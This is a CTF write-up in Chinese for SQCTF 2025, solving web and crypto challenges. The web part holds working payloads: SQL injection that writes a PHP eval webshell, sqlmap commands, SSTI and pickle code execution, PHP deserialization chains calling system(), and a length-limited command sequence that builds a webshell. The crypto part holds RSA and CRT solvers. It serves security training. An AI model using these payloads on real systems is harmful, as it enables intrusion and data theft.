2025-sqctf

[TOC]

Web

Upload_Level1

先上传一个user.png,抓包,然后改文件名为.user.ini,然后上传图片马,一句话连接就好,不多说(前端限制文件头而已)

My Blog

file.pdf有用户密码,目录扫描到login.php,登入框打前面的账号密码就可

ezGame

看到关键代码,一眼就是控制台改分数,控制台输obj.score = 10000; obj.getFlag(); 即可

商师一日游

sqctf{

8ec8

e05422

474602b

873f0b36

a57c0

3f}

最终flag是sqctf{8ec8e05422474602b873f0b36a57c03f}

eeaassyy

ctrl+u与右键禁用,打开更多工具,然后点开发人员工具即可看到。

deepseek一把梭

baby include

打日志包含

唯一

直觉ssti,笔记就是note,过滤了一些关键词

有点疑问,过滤了关键词,引号绕过不了,还得把下划线一起过滤才行

Through

目录穿越,写的很少,还需要双写绕过,payload:file=....//....//....///flag

目录穿越/遍历漏洞 – 学习笔记_目录遍历漏洞描述-CSDN博客

File_download

提示xml,那就是xml泄露,网上搜了差不多一样的题

1
filename=WEB-INF/classes/com/ctf/flag/FlagManager.class

然后将这个乱码复制到一个txt文件,改后缀为class,然后跑到[/s/1744130315784/]的目录列表这个网站去java反编译,得到java文件

接下来本来参考CTF攻防赛java反编译题_ctf class反编译-CSDN博客这个博客要运行代码,但是直接给deepseek梭了

参考WEB-INF/web.xml泄露漏洞及其利用_web-inf-web-xml-disclosure-CSDN博客

嘿嘿嘿

此题干扰不少,其实xxx,yyy用不到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
class hhh {
    public $file;
    public $content;

    public function __construct($file, $content) {
        $this->file = $file;
        $this->content = $content;
    }

    public function __destruct() {
        if ($this->file && $this->content) {
            if (strpos($this->file, 'flag') !== false) {
                die("No flag file!");
            }
            if (file_exists($this->file)) {
                die("File already exists!");
            }
            file_put_contents($this->file, $this->content);
        }
    }
}

class xxx {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __toString() {
        return $this->data;
    }
}

class yyy {
    public $path;
    public $allowed;

    public function __construct($path, $allowed) {
        $this->path = $path;
        $this->allowed = $allowed;
    }

    public function __toString() {
        if ($this->allowed) {
            return file_get_contents($this->path);
        } else {
            return "Access Denied!";
        }
    }
}
$obj=new hhh($file,$content);
$obj->file="data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==";
$obj->content="GET_FLAG";

// 生成序列化数据
$payload = serialize($obj);
echo $payload;
echo urlencode($payload);
?>

答案在源码!一开始我还以为无回显!还有,这里file可以直接为空,因为我这伪协议好像没任何作用,只是为了绕过waf而已,但是这里为空也行。这里是测试了一下file_get_content函数读file的话结果是base64解码后的值。

参考:CG-CTF web之 file_get_contents_die(‘file get contents! file! get! contents!’);-CSDN博客

Ping

RceMe

image-20250409145424336

这替自然还有高手做法

有长度限制的rce - xiaolong’s blog

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import time

import requests
headers = {'User-Agent' : 'ccc'}
url = "http://challenge.qsnctf.com:31021/?com={0}"
print("[+]start attack!!!")
with open("1.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        time.sleep(1)
        requests.get(url.format(i.strip()),headers=headers)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_	
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh _
sh y

解释一下

1
2
3
4
5
6
7
8
>ls\\      # 创建文件名为 "ls\"
ls>_       # 将当前目录文件列表(含"ls\")写入文件 "_"


>\ \\      # 创建文件名为空格 " "
>-t\\      # 创建文件名为 "-t\"
\>y        # 创建文件名为 ">y"
ls>>_      # 将当前文件列表追加到 "_"

所以文件_内容是

1
2
3
4
ls\
 
-t\
>y

(这里当执行sh_时,文件_ 内容被解析为命令,实际触发ls -t >y,生成文件y)

构造木马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

经过ls -t 排序后就是echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64${IFS}-d>1.php

执行sh_ 触发y生成,然后执行y将上面拼接成完成命令写入木马

image-20250416200802846

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客

有长度限制的rce - xiaolong’s blog

Input a number

Ez_calculate

ai一把梭,flag在/flag,逆天本来目录爆破就有的

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import requests
import re
import time
from bs4 import BeautifulSoup

TARGET_URL = "http://challenge.qsnctf.com:32621/"
MAX_TIME = 1.9  # 最大允许时间(留出0.1秒余量)
RETRY_DELAY = 0.01  # 失败后重试间隔

def solve_challenge():
    session = requests.Session()
    session.headers.update({
        'Connection': 'keep-alive',
        'User-Agent': 'Mozilla/5.0 CTF Solver'
    })
    
    while True:
        start_time = time.perf_counter()
        response_text = ""
        
        try:
            # 1. 快速获取页面
            try:
                response = session.get(TARGET_URL, timeout=0.3)
                if response.status_code != 200:
                    print(f"[!] 获取失败 HTTP {response.status_code}")
                    time.sleep(RETRY_DELAY)
                    continue
            except requests.exceptions.RequestException as e:
                print(f"[!] 连接错误: {str(e)}")
                time.sleep(RETRY_DELAY)
                continue

            # 2. 快速解析数学题目
            soup = BeautifulSoup(response.text, 'html.parser')
            challenge_div = soup.find('div', class_='challenge')
            
            if not challenge_div:
                print("[!] 未找到题目div")
                time.sleep(RETRY_DELAY)
                continue
                
            problem_text = challenge_div.text.strip()
            print(f"[+] 当前题目: {problem_text}")

            # 3. 安全计算答案(支持多运算符)
            try:
                # 使用更安全的计算方式替代eval
                def safe_calc(expr):
                    tokens = re.findall(r'(\d+|[\+\-\*/])', expr.replace(' ', ''))
                    total = int(tokens[0])
                    for i in range(1, len(tokens), 2):
                        op, num = tokens[i], int(tokens[i+1])
                        if op == '+': total += num
                        elif op == '-': total -= num
                        elif op == '*': total *= num
                        elif op == '/': total //= num
                    return total
                
                answer = safe_calc(problem_text)
                print(f"[√] 计算结果: {answer}")
                
            except Exception as e:
                print(f"[!] 计算错误: {str(e)}")
                time.sleep(RETRY_DELAY)
                continue

            # 4. 快速提交并获取响应
            elapsed = time.perf_counter() - start_time
            remaining_time = max(0.05, MAX_TIME - elapsed)
            
            try:
                submit_response = session.post(
                    TARGET_URL,
                    data={'value': answer},
                    timeout=(0.2, remaining_time)
                )
                
                total_time = (time.perf_counter() - start_time) * 1000
                print(f"[↑] 提交成功! 用时: {total_time:.1f}ms")
                
                # 打印完整响应
                print("\n" + "="*40)
                print("服务器响应:")
                print(submit_response.text)
                print("="*40 + "\n")
                
                # 检查CTF标志
                if re.search(r'ctf|CTF', submit_response.text, re.IGNORECASE):
                    print("[★] 发现CTF标志,挑战完成!")
                    return submit_response.text
                
            except requests.exceptions.Timeout:
                print(f"[!] 提交超时 (剩余时间: {remaining_time*1000:.1f}ms)")
            except requests.exceptions.RequestException as e:
                print(f"[!] 提交错误: {str(e)}")

        except Exception as e:
            print(f"[!] 系统错误: {str(e)}")
        
        # 精确控制重试间隔
        elapsed = time.perf_counter() - start_time
        if elapsed < RETRY_DELAY:
            time.sleep(RETRY_DELAY - elapsed)

if __name__ == "__main__":
    print("="*50)
    print("高速数学挑战解题器 - 2秒限时模式")
    print("="*50)
    result = solve_challenge()
    if result:
        with open("ctf_flag.txt", "w") as f:
            f.write(result)
        print("响应已保存到 ctf_flag.txt")

Upload_Level2

上面的文件上传是前端检测,这个是content检测,其实只要先上传一个图片马,然后改成php即可,开始想的很麻烦,用.user.ini想秒,但是不知道为啥没成功,仔细一下就这样秒了,太思维定式了。

baby rce

直接秒

白月光

测出来是ssti,没测waf,直接打payload,运气不错

1
{{lipsum['\x5f\x5fglob''als\x5f\x5f']['o''s'].popen('cat /fla?').read()}}

小小查询系统-(写马连数据库)

解法一:打一句话木马

1
id=-1' union select 1,2,'<?php eval($_REQUEST[1]);?>' into outfile '/var/www/html/1.php'--+

然后蚁剑连接,文件里面的flag是假的,先找到源码,发现连接数据库的用户密码(其实源码都在网站目录下面,cat *所有源码就出来了,或者连接上一个个查看也行)

image-20250410222959504

连接后发现flag再cft里面

image-20250410223227443

解法二:手动注入

首先看多少列

1
id=1' order by 3--+

发现回显是2,3

1
id=-1' union select 1,2,3--+

接下来要查数据库,这个就很难受了,一般我们都是直接打下面的payload看数据库

1
id=-1' union select 1,2,database()--+

甚至不查数据库,直接查表

1
-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database();--+

但是此题就不行,上面我用木马打进了数据库然后查看了其源码,发现其默认登入的数据库是security

image-20250417100752154

所以就必须指定数据库,所以就应该从查数据库开始

1
-1' union select 1,2,group_concat(schema_name)from information_schema.schemata--+
image-20250417101208948

接下来就简单了,查表

1
id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctf'--+

查字段

1
id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='flag'--+

查内容,这里要注意要写ctf.flag,写flag的话是默认security的库,所以加上ctf指定ctf的库

1
id=-1' union select 1,2,group_concat(id,value)from ctf.flag--+
image-20250417102549443

解法三:sqlmap注入

报错注入,先查所有数据库(报错注入更快)

1
python sqlmap.py -u "http://challenge.qsnctf.com:31427/?id=1" --batch  --technique=E  -dbs
image-20250417105437235

不一一演示

直接找flag

1
python sqlmap.py -u "http://challenge.qsnctf.com:31427/?id=1" --batch  --technique=E  -dbs -D ctf -T flag --dump
image-20250417112727880

布尔盲注,先查数据库

1
python sqlmap.py -u "http://challenge.qsnctf.com:31427/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=B -dbs
image-20250417105035151

接下来不多演示

1
python sqlmap.py -u "http://challenge.qsnctf.com:31427/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=B -D ctf -T flag -C "`id`,`value`" --dump
image-20250417112241962

无参之舞

先扫描目录

image-20250410200444408
1
var_dump(file_get_contents(%27f1ag.php%27));
image-20250410200525149

哎呀大大大黑塔

GET传SQNU=BV1tXckehEd3(就bv号)

image-20250410220636417

之后就简单了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Secret {
    public $key;
    public function __construct($key) {
        $this->key = $key;
    }
    public function __destruct() {
        if ($this->key === "SQCTF") {
            include "./flag.php";
            echo "flag : ".$flag;
        } else {
            echo "Try harder!";
        }
    }
}

$a=new Secret($key);
$a->key="SQCTF";
echo serialize($a);
echo "\n".urlencode(serialize($a))."\n";

出的很怪。

伪装

先seesion解密

image-20250411150829071

1
修改{'role': {'is_admin': 0, 'name': 'aiyamaya'}}为{'role': {'is_admin': 1, 'name': 'sjx'}}

image-20250411151202327

image-20250411151229159

参考:[HCTF 2018]admin — flask session 的加密解密_session解密-CSDN博客

图片展示功能

就是打.htaccess

image-20250411152618841 image-20250411152433608

之后蚁剑连接就好

开发人员的小失误

扫描出来

image-20250411153354212

打开就是flag

image-20250411153425222

ggoodd

image-20250411153845061

Are you from SQNU?

按下按钮有参数tyctf,然后用这个参数post随便传,然后出现提示(之后这个tyctf不能删,否则打不通)

image-20250411160240268

接下来安装提示打就行

image-20250411155442772

接下来太简单了,不一一展示

image-20250411160101495

Look for the homepage

pickle

最基础的pickle

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import pickle
import base64
import  os


class A(object):
    def  __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))


payload = pickle.dumps(A())
b64_payload = base64.b64encode(payload)
print(payload)
print(b64_payload.decode())

千查万别

先读/app/app.py得到源码,分析一下源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<pre>from flask import Flask, request, render_template_string, session
import os

app = Flask(__name__)
app.secret_key = os.environ.get('SECRET_KEY', os.urandom(16))

@app.route('/')
def index():
    username = session.get('username', 'guest')
    template = f'''
    <h1>欢迎,{username}!</h1>
    <form action="/view" method="GET">
        输入文档ID: <input type="text" name="doc">
        <input type="submit" value="查看">
    </form>
    '''
    return render_template_string(template) 

@app.route('/view')
def view_doc():
    doc = request.args.get('doc', 'test.txt')
    base_dir = '/app/static/docs'
    filepath = os.path.realpath(os.path.join(base_dir, doc))
    
    if filepath == '/flag':
       return "非法路径!"
    
    try:
        with open(filepath, 'r') as f:
            content = f.read()
        return f"<pre>{content}</pre>"
    except:
        return "文档不存在!"

if __name__ == '__main__':
    app.run(host='0.0.0.0')
</pre>

看到render_template_string(template) 显然就是打ssti,注入点是seesion里的username,所以要进行session加密解密,key在环境变量里,用/proc/self/environ 就可以看到了

image-20250412233111752

1
Dark_Flame

接下来session伪造可以用工具伪造(但是原session不可以解密??那只能直接伪造其中的数据)

image-20250413002435474

也可以用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, session
from flask.sessions import SecureCookieSessionInterface
import base64
import json
import os

app = Flask(__name__)
app.secret_key = "Dark_Flame"

# 创建一个会话对象
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

# 要序列化的数据
data = {
    'username': "{{lipsum.__globals__.os.popen('cat /flag').read()}}"
}

# 序列化并加密数据
serialized = session_serializer.dumps(data)
print("Encoded session:", serialized)

# 如果需要解码,可以使用以下代码
decoded = session_serializer.loads(serialized)
print("Decoded session:", decoded)

Look for the homepage

打开标头看见路由

image-20250413134637994

然后一个这个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

// 怎么在不知道flag.php中的code和flag的情况下绕过?  我不造啊!!!
if(isset($_GET['pass1']) && isset($_GET['pass2']) && isset($_GET['verify'])){
  $pass1 = (String)$_GET['pass1'];
  $pass2 = (String)$_GET['pass2'];
  $verify_code = (String)$_GET['verify'];

  if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome"){
    echo "Level1 Pass\n";
    echo "关关难过关关过 !!!";
    if(isset($_POST['value1'])){
      $value1 = $_POST['value1'];
      $value3 = $_GET['value3'];

      parse_str($value1,$a);

      if($a['fly']==md5($value3)){
        echo "Level2 Pass\n";
        echo $flag;
      }
    }
    else{
      echo "想想看parse_str是干嘛的来着\n";
    }
  }
  else{
    echo "你小子就是这样绕过的吗 ???\n";
  }
}

简单考个md5与parse_str性质

image-20250413135334396

自私的小s

提示入口可能不对,抓包发现在cookie

image-20250413141625819
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
class Genshin_impact{
    private $value;

    public function __construct($v){
        $this->value = $v;
    }
  
    function __destruct(){
        echo eval($this->value);
    }
}

$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class Genshin_impact{
    private $value;

    public function __construct($v){
        $this->value = $v;
    }
  
    function __destruct(){
        echo eval($this->value);
    }
}
$a=new Genshin_impact("system('cat /flag');");
echo urlencode(serialize($a));
1
O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D

这里由于过滤了%,所以要url编码

Crypto

春风得意马蹄疾

社会主义编码,嵌套了几次,一直解码社会主义解码即可

别阴阳我了行吗?

直接解码

base?

base64换表,直接去厨子里面尝试这些表即可

简单RSA

ai一把梭

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import long_to_bytes

# 公钥和密文参数
e = 65537
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533
c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616

# 分解 n 得到的质因数 p 和 q
p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261
q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753

# 验证 p 和 q 是否正确(关键步骤!)
assert p * q == n, "分解错误:p * q ≠ n"

# 计算欧拉函数 φ(n)
phi = (p - 1) * (q - 1)

# 计算私钥 d(e 的模逆元)
d = pow(e, -1, phi)

# 解密密文 c
m = pow(c, d, n)

# 将明文转换为字节并输出
plaintext = long_to_bytes(m)

# 尝试 UTF-8 解码,失败则直接输出字节
try:
    print(plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print("解密后的字节流(可能包含非 UTF-8 字符):", plaintext)

factordb.com:分解网站

ezCRT

依旧deepseek一把梭

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import math
from functools import reduce
import gmpy2
from Crypto.Util.number import long_to_bytes

# 给定参数(保持不变)
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093

c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

# 验证模数互质
assert math.gcd(n1, n2) == 1 and math.gcd(n1, n3) == 1 and math.gcd(n2, n3) == 1, "模数不互质"

# 中国剩余定理(CRT)合并
def crt(remainders, moduli):
    N = reduce(lambda x, y: x * y, moduli)
    result = 0
    for r, m in zip(remainders, moduli):
        Ni = N // m
        inv = pow(Ni, -1, m)
        result += r * Ni * inv
    return result % N

m_cubed = crt([c1, c2, c3], [n1, n2, n3])

# 计算立方根并验证精确性
m, is_exact = gmpy2.iroot(m_cubed, 3)
if not is_exact:
    raise ValueError("立方根不精确,可能存在错误")

# 转换为字节流
plaintext = long_to_bytes(m)

# 精确提取 Flag(根据已知前缀 "SQCTF{" 手动定位)
flag_start = plaintext.find(b'SQCTF{')  # 搜索 Flag 起始位置
if flag_start != -1:
    flag_end = plaintext.find(b'}', flag_start) + 1  # 找到闭合的 '}'
    flag = plaintext[flag_start:flag_end].decode('utf-8')
else:
    # 暴力扫描可打印字符
    flag_bytes = []
    for b in plaintext:
        if 32 <= b <= 126:  # ASCII 可打印范围
            flag_bytes.append(b)
        else:
            break  # 遇到非打印字符终止
    flag = bytes(flag_bytes).decode('utf-8', 'ignore')

print("解密结果:", flag)

失落矿洞中的密码

deepseek一把梭,然后在线找个sage环境

小白兔白又白

随波逐流一把梭加rabbit解密

image-20250408213712639

丢三落四的小I

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e = 65537
dp = 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c = 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

# 恢复 p
for k in range(1, e):
    p = (e * dp - 1) // k + 1
    if n % p == 0:
        break

print(f"Found p: {p}")

# 计算 q 和 φ(n)
q = n // p
phi = (p - 1) * (q - 1)

# 计算私钥 d
d = gmpy2.invert(e, phi)

# 解密消息
m = pow(c, d, n)
print(f"Decrypted message: {long_to_bytes(m)}")

密室逃脱的终极挑战

image-20250409103343836 image-20250409103726057 image-20250409103603383

字母的轮舞与维吉尼亚的交响曲

image-20250409194746003

维吉尼亚解密然后一眼看到flag得加密字符

image-20250409194914535

一眼凯撒,随波逐流梭:SQCTF{you_are_win!}

玩的挺变态啊清茶哥

截图片下面的字符然后谷歌识图,发现是猪圈密码

image-20250410002243974

找个在线网站直接打

image-20250410002148920

ez_SCA

ai一把梭

image-20250410004151717
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import numpy as np

# 加载模板轨迹
template_trace_0 = np.load('template_trace_0.npy')
template_trace_1 = np.load('template_trace_1.npy')

# 加载能量轨迹
traces = np.load('energy_traces_with_flag.npy')


def moving_average_filter(trace, window_size=5):
    """
    使用移动平均滤波对能量轨迹进行降噪处理。
    """
    filtered_trace = np.convolve(trace, np.ones(window_size) / window_size, mode='valid')
    return filtered_trace


def compare_trace_with_templates(trace, template_0, template_1):
    """
    使用欧氏距离比较能量轨迹与模板轨迹的相似性,返回对应的二进制位(0 或 1)。
    """
    # 对能量轨迹进行滤波处理
    filtered_trace = moving_average_filter(trace)

    # 确保滤波后的能量轨迹和模板轨迹的形状一致
    min_length = min(len(filtered_trace), len(template_0))
    filtered_trace = filtered_trace[:min_length]
    template_0 = template_0[:min_length]
    template_1 = template_1[:min_length]

    # 计算与模板轨迹 0 的欧氏距离
    dist_0 = np.linalg.norm(template_0 - filtered_trace)
    # 计算与模板轨迹 1 的欧氏距离
    dist_1 = np.linalg.norm(template_1 - filtered_trace)

    # 比较距离,选择更小的距离对应的位
    if dist_0 < dist_1:
        return '0'
    else:
        return '1'


def bits_to_text(bits):
    """
    将二进制位转换为文本。
    """
    chars = [bits[i:i + 8] for i in range(0, len(bits), 8)]
    text = ''.join([chr(int(char, 2)) for char in chars])
    return text


# 初始化存储位的列表
bits = []

# 遍历每个能量轨迹
for trace in traces:
    bit = compare_trace_with_templates(trace, template_trace_0, template_trace_1)
    bits.append(bit)

# 将列表转换为字符串
bits_str = ''.join(bits)

# 转换二进制位为文本
flag = bits_to_text(bits_str)
print("恢复的明文 flag:", flag)

你的天赋是什么

摩斯密码直接秒

image-20250411140441995

将%u7b替换成{即可。SQCTF{YOU-HAVE-TALENT}

Common Modulus

ai梭。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import math
from libnum import n2s

def extended_gcd(a, b):
    if b == 0:
        return (a, 1, 0)
    else:
        g, x, y = extended_gcd(b, a % b)
        return (g, y, x - (a // b) * y)

# 题目参数
n = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1 = 4217054819
e2 = 2800068527

# 验证指数互质
assert math.gcd(e1, e2) == 1, "e1和e2必须互质"

# 扩展欧几里得算法求a和b
g, a, b = extended_gcd(e1, e2)

# 计算明文
if a < 0:
    c1_inv = pow(c1, -1, n)
    part1 = pow(c1_inv, -a, n)
else:
    part1 = pow(c1, a, n)

if b < 0:
    c2_inv = pow(c2, -1, n)
    part2 = pow(c2_inv, -b, n)
else:
    part2 = pow(c2, b, n)

m = (part1 * part2) % n

# 转换为字符串
flag = n2s(m)
print("Flag:", flag.decode())

《1789年的密文》

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import re

table = [4, 2, 11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13]
Ciphertext = 'UNEHJPBIUOMAVZ'
with open(r'1.txt', 'r') as f:
    data = f.read()

# 转轮机根据table重新排列
def wheel_decode(data, table):
    resultList = []
    pattern = re.compile('[A-Z]{26}')
    result = pattern.findall(data)

    for i in table:
        resultList.append(result[i-1])
    return resultList

resultList = wheel_decode(data, table)

# 根据密文重新排列
def rearrange(List, Ciphertext):
    resultList = []
    for i in range(0, 14):  # 修正循环次数为14(对应14个转轮)
        resultList.append(List[i][List[i].find(Ciphertext[i]):] + List[i][:List[i].find(Ciphertext[i])])
    return resultList

resultList = rearrange(resultList, Ciphertext)

# 选取每一列,列出结果
def rearrange2(List):
    resultList = []
    s = ''
    for i in range(0, 26):
        for j in List:
            s += j[i]
        resultList.append(s.lower())  # 直接在此处转换为小写[1,2](@ref)
        s = ''
    return resultList

